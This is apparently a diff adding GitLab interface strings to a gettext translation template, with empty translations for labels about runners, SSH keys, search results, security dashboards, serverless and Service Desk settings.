+msgstr ""
+
+msgid "Runners|Locked to this project"
+msgstr ""
+
+msgid "Runners|Maximum job timeout"
+msgstr ""
+
+msgid "Runners|Name"
+msgstr ""
+
+msgid "Runners|Platform"
+msgstr ""
+
+msgid "Runners|Property Name"
+msgstr ""
+
+msgid "Runners|Protected"
+msgstr ""
+
+msgid "Runners|Register Runner"
+msgstr ""
+
+msgid "Runners|Revision"
+msgstr ""
+
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
+msgid "Runners|Shared"
+msgstr ""
+
+msgid "Runners|Show Runner installation instructions"
+msgstr ""
+
+msgid "Runners|Specific"
+msgstr ""
+
+msgid "Runners|Tags"
+msgstr ""
+
+msgid "Runners|To install Runner in Kubernetes follow the instructions described in the GitLab documentation."
+msgstr ""
+
+msgid "Runners|To install Runner in a container follow the instructions described in the GitLab documentation"
+msgstr ""
+
+msgid "Runners|Value"
+msgstr ""
+
+msgid "Runners|Version"
+msgstr ""
+
+msgid "Runners|View installation instructions"
+msgstr ""
+
+msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
+msgstr ""
+
+msgid "Running"
+msgstr ""
+
+msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
+msgstr ""
+
+msgid "Runs jobs from all unassigned projects in its group."
+msgstr ""
+
+msgid "Runs jobs from all unassigned projects."
+msgstr ""
+
+msgid "Runs jobs from assigned projects."
+msgstr ""
+
+msgid "SAML"
+msgstr ""
+
+msgid "SAML SSO"
+msgstr ""
+
+msgid "SAML SSO for %{group_name}"
+msgstr ""
+
+msgid "SAML discovery tokens"
+msgstr ""
+
+msgid "SAML for %{group_name}"
+msgstr ""
+
+msgid "SAST Configuration"
+msgstr ""
+
+msgid "SHA256"
+msgstr ""
+
+msgid "SSH Key"
+msgstr ""
+
+msgid "SSH Keys"
+msgstr ""
+
+msgid "SSH Keys Help"
+msgstr ""
+
+msgid "SSH host key fingerprints"
+msgstr ""
+
+msgid "SSH host keys"
+msgstr ""
+
+msgid "SSH host keys are not available on this system. Please use %{ssh_keyscan} command or contact your GitLab administrator for more information."
+msgstr ""
+
+msgid "SSH key"
+msgstr ""
+
+msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
+msgstr ""
+
+msgid "SSH public key"
+msgstr ""
+
+msgid "SSL Verification:"
+msgstr ""
+
+msgid "SSL verification"
+msgstr ""
+
+msgid "Satisfied"
+msgstr ""
+
+msgid "Saturday"
+msgstr ""
+
+msgid "Save"
+msgstr ""
+
+msgid "Save %{name} size limits"
+msgstr ""
+
+msgid "Save Changes"
+msgstr ""
+
+msgid "Save Value Stream"
+msgstr ""
+
+msgid "Save application"
+msgstr ""
+
+msgid "Save changes"
+msgstr ""
+
+msgid "Save changes before testing"
+msgstr ""
+
+msgid "Save comment"
+msgstr ""
+
+msgid "Save deploy freeze"
+msgstr ""
+
+msgid "Save password"
+msgstr ""
+
+msgid "Save pipeline schedule"
+msgstr ""
+
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
+msgstr ""
+
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
+msgid "Saving"
+msgstr ""
+
+msgid "Saving project."
+msgstr ""
+
+msgid "Scan Policies"
+msgstr ""
+
+msgid "Scanner"
+msgstr ""
+
+msgid "Schedule a new pipeline"
+msgstr ""
+
+msgid "Scheduled"
+msgstr ""
+
+msgid "Scheduled Deletion At - %{permanent_deletion_time}"
+msgstr ""
+
+msgid "Scheduled a rebase of branch %{branch}."
+msgstr ""
+
+msgid "Scheduled to merge this merge request (%{strategy})."
+msgstr ""
+
+msgid "Schedules"
+msgstr ""
+
+msgid "Schedules to merge this merge request (%{strategy})."
+msgstr ""
+
+msgid "Scheduling Pipelines"
+msgstr ""
+
+msgid "Scope"
+msgstr ""
+
+msgid "Scope board to current iteration"
+msgstr ""
+
+msgid "Scopes"
+msgstr ""
+
+msgid "Scopes [Select 1 or more]"
+msgstr ""
+
+msgid "Scopes can't be blank"
+msgstr ""
+
+msgid "Scopes: %{scope_list}"
+msgstr ""
+
+msgid "Scroll down"
+msgstr ""
+
+msgid "Scroll left"
+msgstr ""
+
+msgid "Scroll right"
+msgstr ""
+
+msgid "Scroll to bottom"
+msgstr ""
+
+msgid "Scroll to top"
+msgstr ""
+
+msgid "Scroll up"
+msgstr ""
+
+msgid "Search"
+msgstr ""
+
+msgid "Search Jira issues"
+msgstr ""
+
+msgid "Search a group"
+msgstr ""
+
+msgid "Search an environment spec"
+msgstr ""
+
+msgid "Search assignees"
+msgstr ""
+
+msgid "Search authors"
+msgstr ""
+
+msgid "Search branches"
+msgstr ""
+
+msgid "Search branches and tags"
+msgstr ""
+
+msgid "Search branches, tags, and commits"
+msgstr ""
+
+msgid "Search by Git revision"
+msgstr ""
+
+msgid "Search by author"
+msgstr ""
+
+msgid "Search by commit title or SHA"
+msgstr ""
+
+msgid "Search by message"
+msgstr ""
+
+msgid "Search by name"
+msgstr ""
+
+msgid "Search files"
+msgstr ""
+
+msgid "Search for Namespace"
+msgstr ""
+
+msgid "Search for a LDAP group"
+msgstr ""
+
+msgid "Search for a group"
+msgstr ""
+
+msgid "Search for a user"
+msgstr ""
+
+msgid "Search for projects, issues, etc."
+msgstr ""
+
+msgid "Search for this text"
+msgstr ""
+
+msgid "Search forks"
+msgstr ""
+
+msgid "Search iterations"
+msgstr ""
+
+msgid "Search labels"
+msgstr ""
+
+msgid "Search merge requests"
+msgstr ""
+
+msgid "Search milestones"
+msgstr ""
+
+msgid "Search or create tag"
+msgstr ""
+
+msgid "Search or filter results..."
+msgstr ""
+
+msgid "Search or filter results…"
+msgstr ""
+
+msgid "Search or jump to…"
+msgstr ""
+
+msgid "Search project"
+msgstr ""
+
+msgid "Search projects"
+msgstr ""
+
+msgid "Search projects..."
+msgstr ""
+
+msgid "Search refs"
+msgstr ""
+
+msgid "Search requirements"
+msgstr ""
+
+msgid "Search settings"
+msgstr ""
+
+msgid "Search users"
+msgstr ""
+
+msgid "Search users or groups"
+msgstr ""
+
+msgid "Search your project dependencies for their licenses and apply policies."
+msgstr ""
+
+msgid "Search your projects"
+msgstr ""
+
+msgid "SearchAutocomplete|All GitLab"
+msgstr ""
+
+msgid "SearchAutocomplete|Issues I've created"
+msgstr ""
+
+msgid "SearchAutocomplete|Issues assigned to me"
+msgstr ""
+
+msgid "SearchAutocomplete|Merge requests I've created"
+msgstr ""
+
+msgid "SearchAutocomplete|Merge requests assigned to me"
+msgstr ""
+
+msgid "SearchAutocomplete|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "SearchAutocomplete|in all GitLab"
+msgstr ""
+
+msgid "SearchAutocomplete|in group %{groupName}"
+msgstr ""
+
+msgid "SearchAutocomplete|in project %{projectName}"
+msgstr ""
+
+msgid "SearchCodeResults|of %{link_to_project}"
+msgstr ""
+
+msgid "SearchResults|Showing %{count} %{scope} for%{term_element}"
+msgstr ""
+
+msgid "SearchResults|Showing %{count} %{scope} for%{term_element} in your personal and project snippets"
+msgstr ""
+
+msgid "SearchResults|Showing %{from} - %{to} of %{count} %{scope} for%{term_element}"
+msgstr ""
+
+msgid "SearchResults|Showing %{from} - %{to} of %{count} %{scope} for%{term_element} in your personal and project snippets"
+msgstr ""
+
+msgid "SearchResults|code result"
+msgid_plural "SearchResults|code results"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|comment"
+msgid_plural "SearchResults|comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|commit"
+msgid_plural "SearchResults|commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|epic"
+msgid_plural "SearchResults|epics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|issue"
+msgid_plural "SearchResults|issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|merge request"
+msgid_plural "SearchResults|merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|milestone"
+msgid_plural "SearchResults|milestones"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|project"
+msgid_plural "SearchResults|projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|snippet"
+msgid_plural "SearchResults|snippets"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|user"
+msgid_plural "SearchResults|users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "SearchResults|wiki result"
+msgid_plural "SearchResults|wiki results"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Searching by both author and message is currently not supported."
+msgstr ""
+
+msgid "Seat Link"
+msgstr ""
+
+msgid "Seat Link is disabled, and cannot be configured through this form."
+msgstr ""
+
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
+msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
+msgstr ""
+
+msgid "Seats usage data is updated every day at 12:00pm UTC"
+msgstr ""
+
+msgid "Secondary"
+msgstr ""
+
+msgid "Seconds"
+msgstr ""
+
+msgid "Secret"
+msgstr ""
+
+msgid "Secret Detection"
+msgstr ""
+
+msgid "Secret token"
+msgstr ""
+
+msgid "Security"
+msgstr ""
+
+msgid "Security & Compliance"
+msgstr ""
+
+msgid "Security Configuration"
+msgstr ""
+
+msgid "Security Dashboard"
+msgstr ""
+
+msgid "Security dashboard"
+msgstr ""
+
+msgid "Security navigation"
+msgstr ""
+
+msgid "Security report is out of date. Please update your branch with the latest changes from the target branch (%{targetBranchName})"
+msgstr ""
+
+msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
+msgstr ""
+
+msgid "SecurityApprovals|Configurable if security scanners are enabled. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for Denied licenses. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
+msgid "SecurityConfiguration|An error occurred while creating the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
+msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
+msgstr ""
+
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgstr ""
+
+msgid "SecurityConfiguration|Configure"
+msgstr ""
+
+msgid "SecurityConfiguration|Configure via Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
+msgstr ""
+
+msgid "SecurityConfiguration|Enabled"
+msgstr ""
+
+msgid "SecurityConfiguration|Enabled with Auto DevOps"
+msgstr ""
+
+msgid "SecurityConfiguration|Feature documentation for %{featureName}"
+msgstr ""
+
+msgid "SecurityConfiguration|Manage"
+msgstr ""
+
+msgid "SecurityConfiguration|More information"
+msgstr ""
+
+msgid "SecurityConfiguration|Not enabled"
+msgstr ""
+
+msgid "SecurityConfiguration|SAST Analyzers"
+msgstr ""
+
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
+msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgstr ""
+
+msgid "SecurityConfiguration|Security Control"
+msgstr ""
+
+msgid "SecurityConfiguration|Status"
+msgstr ""
+
+msgid "SecurityConfiguration|Testing & Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
+msgstr ""
+
+msgid "SecurityConfiguration|View history"
+msgstr ""
+
+msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
+msgstr ""
+
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
+msgstr ""
+
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgstr ""
+
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
+msgstr ""
+
+msgid "SecurityReports|Add projects"
+msgstr ""
+
+msgid "SecurityReports|All"
+msgstr ""
+
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
+msgstr ""
+
+msgid "SecurityReports|Change status"
+msgstr ""
+
+msgid "SecurityReports|Comment added to '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Comment deleted on '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
+msgid "SecurityReports|Create Jira issue"
+msgstr ""
+
+msgid "SecurityReports|Create issue"
+msgstr ""
+
+msgid "SecurityReports|Dismiss vulnerability"
+msgstr ""
+
+msgid "SecurityReports|Dismissed '%{vulnerabilityName}'"
+msgstr ""
+
+msgid "SecurityReports|Dismissed '%{vulnerabilityName}'. Turn off the hide dismissed toggle to view."
+msgstr ""
+
+msgid "SecurityReports|Download %{artifactName}"
+msgstr ""
+
+msgid "SecurityReports|Download Report"
+msgstr ""
+
+msgid "SecurityReports|Download results"
+msgstr ""
+
+msgid "SecurityReports|Download scanned resources"
+msgstr ""
+
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgstr ""
+
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
+msgstr ""
+
+msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
+msgstr ""
+
+msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
+msgstr ""
+
+msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
+msgstr ""
+
+msgid "SecurityReports|Fuzzing artifacts"
+msgstr ""
+
+msgid "SecurityReports|Hide dismissed"
+msgstr ""
+
+msgid "SecurityReports|Issue Created"
+msgstr ""
+
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
+msgstr ""
+
+msgid "SecurityReports|Learn more about setting up your dashboard"
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
+msgstr ""
+
+msgid "SecurityReports|No activity"
+msgstr ""
+
+msgid "SecurityReports|No longer detected"
+msgstr ""
+
+msgid "SecurityReports|No vulnerabilities found"
+msgstr ""
+
+msgid "SecurityReports|No vulnerabilities found for this pipeline"
+msgstr ""
+
+msgid "SecurityReports|Oops, something doesn't seem right."
+msgstr ""
+
+msgid "SecurityReports|Project"
+msgstr ""
+
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
+msgid "SecurityReports|Projects added"
+msgstr ""
+
+msgid "SecurityReports|Remove project from dashboard"
+msgstr ""
+
+msgid "SecurityReports|Scan details"
+msgstr ""
+
+msgid "SecurityReports|Scanner"
+msgstr ""
+
+msgid "SecurityReports|Security Dashboard"
+msgstr ""
+
+msgid "SecurityReports|Security reports can only be accessed by authorized users."
+msgstr ""
+
+msgid "SecurityReports|Security reports help page link"
+msgstr ""
+
+msgid "SecurityReports|Security scans have run"
+msgstr ""
+
+msgid "SecurityReports|Select a project to add by using the project search field above."
+msgstr ""
+
+msgid "SecurityReports|Set status"
+msgstr ""
+
+msgid "SecurityReports|Severity"
+msgstr ""
+
+msgid "SecurityReports|Sometimes a scanner can't determine a finding's severity. Those findings may still be a potential source of risk though. Please review these manually."
+msgstr ""
+
+msgid "SecurityReports|Sorry, your filter produced no results"
+msgstr ""
+
+msgid "SecurityReports|Status"
+msgstr ""
+
+msgid "SecurityReports|There was an error adding the comment."
+msgstr ""
+
+msgid "SecurityReports|There was an error creating the issue."
+msgstr ""
+
+msgid "SecurityReports|There was an error creating the merge request."
+msgstr ""
+
+msgid "SecurityReports|There was an error deleting the comment."
+msgstr ""
+
+msgid "SecurityReports|There was an error dismissing the vulnerabilities."
+msgstr ""
+
+msgid "SecurityReports|There was an error dismissing the vulnerability."
+msgstr ""
+
+msgid "SecurityReports|There was an error reverting the dismissal."
+msgstr ""
+
+msgid "SecurityReports|There was an error reverting this dismissal."
+msgstr ""
+
+msgid "SecurityReports|There was an error while generating the report."
+msgstr ""
+
+msgid "SecurityReports|To widen your search, change or remove filters above"
+msgstr ""
+
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
+msgstr ""
+
+msgid "SecurityReports|Unable to add %{invalidProjects}"
+msgstr ""
+
+msgid "SecurityReports|Undo dismiss"
+msgstr ""
+
+msgid "SecurityReports|Upgrade to interact, track and shift left with vulnerability management features in the UI."
+msgstr ""
+
+msgid "SecurityReports|Upgrade to manage vulnerabilities"
+msgstr ""
+
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
+msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
+msgstr ""
+
+msgid "SecurityReports|With issues"
+msgstr ""
+
+msgid "SecurityReports|You do not have sufficient permissions to access this report"
+msgstr ""
+
+msgid "SecurityReports|You must sign in as an authorized user to see this report"
+msgstr ""
+
+msgid "See GitLab's %{password_policy_guidelines}"
+msgstr ""
+
+msgid "See metrics"
+msgstr ""
+
+msgid "See the affected projects in the GitLab admin panel"
+msgstr ""
+
+msgid "See the list of available commands in Slack after setting up this service by entering"
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
+msgid "Select"
+msgstr ""
+
+msgid "Select Archive Format"
+msgstr ""
+
+msgid "Select Git revision"
+msgstr ""
+
+msgid "Select GitLab project to link with your Slack team"
+msgstr ""
+
+msgid "Select Page"
+msgstr ""
+
+msgid "Select Stack"
+msgstr ""
+
+msgid "Select a branch"
+msgstr ""
+
+msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
+msgstr ""
+
+msgid "Select a group to invite"
+msgstr ""
+
+msgid "Select a label"
+msgstr ""
+
+msgid "Select a milestone"
+msgstr ""
+
+msgid "Select a new namespace"
+msgstr ""
+
+msgid "Select a project"
+msgstr ""
+
+msgid "Select a project to read Insights configuration file"
+msgstr ""
+
+msgid "Select a reason"
+msgstr ""
+
+msgid "Select a repository"
+msgstr ""
+
+msgid "Select a template repository"
+msgstr ""
+
+msgid "Select a template type"
+msgstr ""
+
+msgid "Select a timezone"
+msgstr ""
+
+msgid "Select all"
+msgstr ""
+
+msgid "Select an assignee"
+msgstr ""
+
+msgid "Select an existing Kubernetes cluster or create a new one."
+msgstr ""
+
+msgid "Select an iteration"
+msgstr ""
+
+msgid "Select assignee"
+msgstr ""
+
+msgid "Select branch"
+msgstr ""
+
+msgid "Select due date"
+msgstr ""
+
+msgid "Select epic"
+msgstr ""
+
+msgid "Select file"
+msgstr ""
+
+msgid "Select group or project"
+msgstr ""
+
+msgid "Select groups to replicate"
+msgstr ""
+
+msgid "Select health status"
+msgstr ""
+
+msgid "Select iteration"
+msgstr ""
+
+msgid "Select label"
+msgstr ""
+
+msgid "Select labels"
+msgstr ""
+
+msgid "Select merge moment"
+msgstr ""
+
+msgid "Select milestone"
+msgstr ""
+
+msgid "Select private project"
+msgstr ""
+
+msgid "Select project"
+msgstr ""
+
+msgid "Select project and zone to choose machine type"
+msgstr ""
+
+msgid "Select project to choose zone"
+msgstr ""
+
+msgid "Select projects"
+msgstr ""
+
+msgid "Select reviewer(s)"
+msgstr ""
+
+msgid "Select shards to replicate"
+msgstr ""
+
+msgid "Select source"
+msgstr ""
+
+msgid "Select source branch"
+msgstr ""
+
+msgid "Select start date"
+msgstr ""
+
+msgid "Select status"
+msgstr ""
+
+msgid "Select strategy activation method"
+msgstr ""
+
+msgid "Select subscription"
+msgstr ""
+
+msgid "Select target branch"
+msgstr ""
+
+msgid "Select the custom project template source group."
+msgstr ""
+
+msgid "Select timezone"
+msgstr ""
+
+msgid "Select type"
+msgstr ""
+
+msgid "Select user"
+msgstr ""
+
+msgid "Selected"
+msgstr ""
+
+msgid "Selected commits"
+msgstr ""
+
+msgid "Selected levels cannot be used by non-admin users for groups, projects or snippets. If the public level is restricted, user profiles are only visible to logged in users."
+msgstr ""
+
+msgid "Selected projects"
+msgstr ""
+
+msgid "Selecting a GitLab user will add a link to the GitLab user in the descriptions of issues and comments (e.g. \"By %{link_open}@johnsmith%{link_close}\"). It will also associate and/or assign these issues and comments with the selected user."
+msgstr ""
+
+msgid "Selective synchronization"
+msgstr ""
+
+msgid "Self monitoring project does not exist"
+msgstr ""
+
+msgid "Self-monitoring project does not exist. Please check logs for any error messages"
+msgstr ""
+
+msgid "Self-monitoring project has been successfully deleted"
+msgstr ""
+
+msgid "Self-monitoring project was not deleted. Please check logs for any error messages"
+msgstr ""
+
+msgid "SelfMonitoring|Disable self monitoring?"
+msgstr ""
+
+msgid "SelfMonitoring|Disabling this feature will delete the self monitoring project. Are you sure you want to delete the project?"
+msgstr ""
+
+msgid "SelfMonitoring|Enable or disable instance self monitoring"
+msgstr ""
+
+msgid "SelfMonitoring|Enabling this feature creates a %{projectLinkStart}project%{projectLinkEnd} that can be used to monitor the health of your instance."
+msgstr ""
+
+msgid "SelfMonitoring|Enabling this feature creates a project that can be used to monitor the health of your instance."
+msgstr ""
+
+msgid "SelfMonitoring|Self monitoring"
+msgstr ""
+
+msgid "SelfMonitoring|Self monitoring project has been successfully created."
+msgstr ""
+
+msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
+msgstr ""
+
+msgid "Send"
+msgstr ""
+
+msgid "Send a single email notification to Owners and Maintainers for new alerts."
+msgstr ""
+
+msgid "Send confirmation email"
+msgstr ""
+
+msgid "Send email"
+msgstr ""
+
+msgid "Send email notification"
+msgstr ""
+
+msgid "Send message"
+msgstr ""
+
+msgid "Send report"
+msgstr ""
+
+msgid "Send usage data"
+msgstr ""
+
+msgid "Sentry API URL"
+msgstr ""
+
+msgid "Sentry event"
+msgstr ""
+
+msgid "Sep"
+msgstr ""
+
+msgid "Separate topics with commas."
+msgstr ""
+
+msgid "September"
+msgstr ""
+
+msgid "SeriesFinalConjunction|and"
+msgstr ""
+
+msgid "Serve repository static objects (e.g. archives, blobs, ...) from an external storage (e.g. a CDN)."
+msgstr ""
+
+msgid "Server supports batch API only, please update your Git LFS client to version 1.0.1 and up."
+msgstr ""
+
+msgid "Server version"
+msgstr ""
+
+msgid "Serverless"
+msgstr ""
+
+msgid "Serverless domain"
+msgstr ""
+
+msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgstr ""
+
+msgid "ServerlessDetails|Install Prometheus"
+msgstr ""
+
+msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
+msgstr ""
+
+msgid "ServerlessDetails|Invocations"
+msgstr ""
+
+msgid "ServerlessDetails|Kubernetes Pods"
+msgstr ""
+
+msgid "ServerlessDetails|More information"
+msgstr ""
+
+msgid "ServerlessDetails|No pods loaded at this time."
+msgstr ""
+
+msgid "ServerlessDetails|Number of Kubernetes pods in use over time based on necessity."
+msgstr ""
+
+msgid "ServerlessDetails|pod in use"
+msgstr ""
+
+msgid "ServerlessDetails|pods in use"
+msgstr ""
+
+msgid "ServerlessURL|Copy URL"
+msgstr ""
+
+msgid "Serverless|Getting started with serverless"
+msgstr ""
+
+msgid "Serverless|Help shape the future of Serverless at GitLab"
+msgstr ""
+
+msgid "Serverless|If you believe none of these apply, please check back later as the function data may be in the process of becoming available."
+msgstr ""
+
+msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "Serverless|Install Knative"
+msgstr ""
+
+msgid "Serverless|Learn more about Serverless"
+msgstr ""
+
+msgid "Serverless|No functions available"
+msgstr ""
+
+msgid "Serverless|Sign up for First Look"
+msgstr ""
+
+msgid "Serverless|The deploy job has not finished."
+msgstr ""
+
+msgid "Serverless|The functions listed in the %{startTag}serverless.yml%{endTag} file don't match the namespace of your cluster."
+msgstr ""
+
+msgid "Serverless|There is currently no function data available from Knative. This could be for a variety of reasons including:"
+msgstr ""
+
+msgid "Serverless|We are continually striving to improve our Serverless functionality. As a Knative user, we would love to hear how we can make this experience better for you. Sign up for GitLab First Look today and we will be in touch shortly."
+msgstr ""
+
+msgid "Serverless|Your %{startTag}.gitlab-ci.yml%{endTag} file is not properly configured."
+msgstr ""
+
+msgid "Serverless|Your repository does not have a corresponding %{startTag}serverless.yml%{endTag} file."
+msgstr ""
+
+msgid "Service"
+msgstr ""
+
+msgid "Service Desk"
+msgstr ""
+
+msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
+msgstr ""
+
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
+msgstr ""
+
+msgid "ServiceDesk|Enable Service Desk"
+msgstr ""
+
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
+
+msgid "Session ID"
+msgstr ""
+
+msgid "Session duration (minutes)"
+msgstr ""
+
+msgid "Set %{epic_ref} as the parent epic."
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
+msgid "Set a default description template to be used for new issues. %{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "Set a password on your account to pull or push via %{protocol}."
+msgstr ""
+
+msgid "Set a template repository for projects in this group"
+msgstr ""
+
+msgid "Set access permissions for this token."
+msgstr ""
+
+msgid "Set an instance-wide domain that will be available to all clusters when installing Knative."
+msgstr ""
+
+msgid "Set default and restrict visibility levels. Configure import sources and git access protocol."
+msgstr ""
+
+msgid "Set due date"
+msgstr ""
+
+msgid "Set instance-wide template repository"
+msgstr ""
+
+msgid "Set iteration"
+msgstr ""
+
+msgid "Set limit to 0 to allow any file size."
+msgstr ""
+
+msgid "Set max session time for web terminal."
+msgstr ""
+
+msgid "Set milestone"
+msgstr ""
+
+msgid "Set new password"
+msgstr ""
+
+msgid "Set notification email for abuse reports."
+msgstr ""
+
+msgid "Set parent epic to an epic"
+msgstr ""
+
+msgid "Set projects and maximum size limits, session duration, user options, and check feature availability for namespace plan."
+msgstr ""
+
+msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
+msgstr ""
+
+msgid "Set target branch"
+msgstr ""
+
+msgid "Set target branch to %{branch_name}."
+msgstr ""
+
+msgid "Set the default branch for this project. All merge requests and commits are made against this branch unless you specify a different one."
+msgstr ""
+
+msgid "Set the default expiration time for each job's artifacts. 0 for unlimited. The default unit is in seconds, but you can define an alternative. For example: %{code_open}4 mins 2 sec%{code_close}, %{code_open}2h42min%{code_close}."
+msgstr ""
+
+msgid "Set the default name of the initial branch when creating new repositories through the user interface."
+msgstr ""
+
+msgid "Set the due date to %{due_date}."
+msgstr ""
+
